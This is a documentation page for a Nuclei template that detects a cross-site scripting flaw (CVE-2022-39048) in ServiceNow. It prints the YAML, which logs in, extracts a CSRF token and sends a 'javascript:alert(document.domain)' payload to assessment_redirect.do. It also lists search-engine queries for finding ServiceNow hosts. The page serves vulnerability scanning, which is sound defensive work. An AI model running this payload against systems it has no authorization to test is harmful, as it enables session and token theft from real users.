Skip to content
Nuclei Templates

ServiceNow - Cross-site Scripting

ID: CVE-2022-39048

Severity: medium

Author: theamanrawat

Tags: cve,cve2022,xss,servicenow,authenticated

Description

Section titled “Description”

A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user’s browser or session to attack other systems.

YAML Source

Section titled “YAML Source”
id: CVE-2022-39048


info:
  name: ServiceNow - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user's browser or session to attack other systems.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1221892
    - https://blog.amanrawat.in/2023/05/05/CVE-2022-39048.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39048
    - https://support.servicenow.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-39048
    cwe-id: CWE-79
    epss-score: 0.02684
    epss-percentile: 0.9044
    cpe: cpe:2.3:a:servicenow:servicenow:quebec:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.title:"ServiceNow"
      - http.title:"servicenow"
      - http.favicon.hash:1701804003
    fofa-query:
      - title="servicenow"
      - icon_hash=1701804003
    google-query: intitle:"servicenow"
  tags: cve,cve2022,xss,servicenow,authenticated


http:
  - raw:
      - |
        GET /navpage.do HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        sysparm_ck={{csrf}}&user_name={{username}}&user_password={{password}}&not_important=&ni.nolog.user_password=true&ni.noecho.user_name=true&ni.noecho.user_password=true&screensize=1920x1080&sys_action=sysverb_login&sysparm_login_url=welcome.do
      - |
        GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - 'unwrapped_url = "javascript:alert(document.domain)//assessment_take2.do"'
          - 'assessment_list.do'
        condition: and


      - type: word
        part: header_3
        words:
          - 'text/html'


      - type: status
        part: header_3
        status:
          - 200


    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="sysparm_ck" id="sysparm_ck" type="hidden" value="(.*?)"'
        internal: true
# digest: 4a0a00473045022100a1dfc83014559115873eedcf18aa80c27891aa3fb2ec4e202d223bcb1fecbe180220057fb0f87a6a72fc4b41fc18fe8e0d0e0a74cf8abad735c3f2d1da8a6389178e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-39048.yaml"

View on Github